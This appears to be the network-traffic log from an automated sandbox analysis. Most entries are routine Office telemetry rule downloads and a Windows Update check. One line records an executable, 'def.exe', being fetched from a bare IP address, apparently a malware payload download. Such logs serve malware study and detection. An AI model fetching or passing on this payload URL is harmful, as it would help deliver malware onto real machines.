Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bZl9wftxmLG4fdl&MD=tYp9rpOE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
